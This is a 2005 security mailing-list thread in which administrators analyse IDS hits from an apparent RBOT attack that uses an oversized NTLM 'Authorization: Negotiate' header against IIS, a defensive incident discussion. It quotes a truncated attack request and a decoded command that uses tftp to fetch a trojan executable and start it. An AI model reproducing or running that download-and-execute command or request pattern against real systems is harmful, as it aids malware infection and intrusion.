Re: New http attack?
Kevin Timm <[email protected]>
| Newsgroups | gmane.comp.security.incidents |
|---|---|
| Message-ID | <[email protected]> |
As far as IP selection it would seem that is not even "network selection scanning". I've seen the same host scan for only 2 ip's in the same network 30 minutes apart. The variant I saw would attack Apache as well as Windows so it wasn't very intelligent in target selection. That is a differnt exe than I have seen. On 6/9/05, Ron <[email protected]> wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Out of curiosity, I notice that when I decode any hit on my IDS with > that exploit, it ends up with the following command (along with > shellcode and padding, of course): > > cmd /c tftp -i 0.0.0.0 GET wuamkop.exe&start wuamkop.exe&exit > > Do you know why it would be "0.0.0.0"? Is it just failing to get the > proper ip for the trojan or what? > > Thanks, > Ron > > > Kirby Angell wrote: > > - From http://isc.sans.org/diary.php?date=2005-06-03: > > > > "On a similar note, we've had one report of what looks to be like > > another RBOT vector, this time SMB over HTTP. An IIS server will accept > > multiple forms of authentication, including (non-IIS folks cover your > > eyes, this will hurt) NTLM via base64 encoding. You looked....I warned > > you! Look for: > > > > GET / HTTP/1.0 > > Host: xxx.xxx.xxx.xxx > > Authorization: Negotiate > > YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQ..... > > > > All that gibberish can be decoded with good ol' "mimencode -u" to reveal > > an RBOT tftp download command. The long and short of it is POLP - > > Principle of Least Privilege. Disable any authentication methods that > > are unnecessary, especially on your big-bad-world-facing servers. Me, I > > don't trust anyone to play nicely, inside or out." > > > > Keith T. Morgan wrote: > > > >>>A google search didn't turn up anything of value on this, so I'm posting > >>>to the list. If I've missed something that's common knowledge here, I > >>>appologize for inverting the signal/noise ratio a bit with this post. > >>> > >>>We've seen an attack that triggered a snort bleeding-edge hit for "smb > >>>over http authentication." This isn't particularly alarming, but, what > >>>caught my attention is what appears to be a very large buffer in part of > >>>the packet. > >>> > >>>The ascii decoded capture looks a bit like this: > >>> > >>>GET / HTTP/1.0 > >>>Host: obfuscated > >>>Authorization: Negotiate <what may be an encrypted password> > >>>QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB. > >>> > >>>This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming > >>>went beyond the single packet capture I have. > >>> > >>>The IIS logs indicate a simple GET / with a 401 response code. > >>> > >>>Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit > >>>floating around out there somewhere? I think chances of this being a FP > >>>are low since we're not using NTLM or windows native/ad authentication > >>>on this site. > >>> > >>> > >>>-- Keith Morgan > >>>-- CISSP, MCP, CCSE/CCSA > >>> > >>>"Hey Pants... Any advice for getting through turn 1 with 55 motorcycles > >>>on the grid?" > >>>"Yeah. Don't Crash." > >>>-- Sage motorcycle roadracing advice from Shawn (Pants) Romano > >>>************************************************************************************************** > >>>The contents of this email and any attachments are confidential. > >>>It is intended for the named recipient(s) only. > >>>If you have received this email in error please notify the system manager or the > >>>sender immediately and do not disclose the contents to anyone or make copies. > >>> > >>>** this message has been scanned for viruses, vandals and malicious content ** > >>>************************************************************************************************** > >>> > > > > > > > > -- > > Thank you, > > > > Kirby Angell > > Get notified anytime your website goes down! > > http://www.alertra.com > > key: 9004F4C0 > > fingerprint: DD7E E88D 7F50 2A1E 229D 836A DB5B A751 9004 F4C0 > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.9.15 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFCqKL0fqSf2EkP4p4RAnvvAJwMvlwYEyY+kHc1YllAF0GeZmtxcACfYzFh > FJNQRITUvUEjMWvwPSVEx7w= > =jR8f > -----END PGP SIGNATURE----- >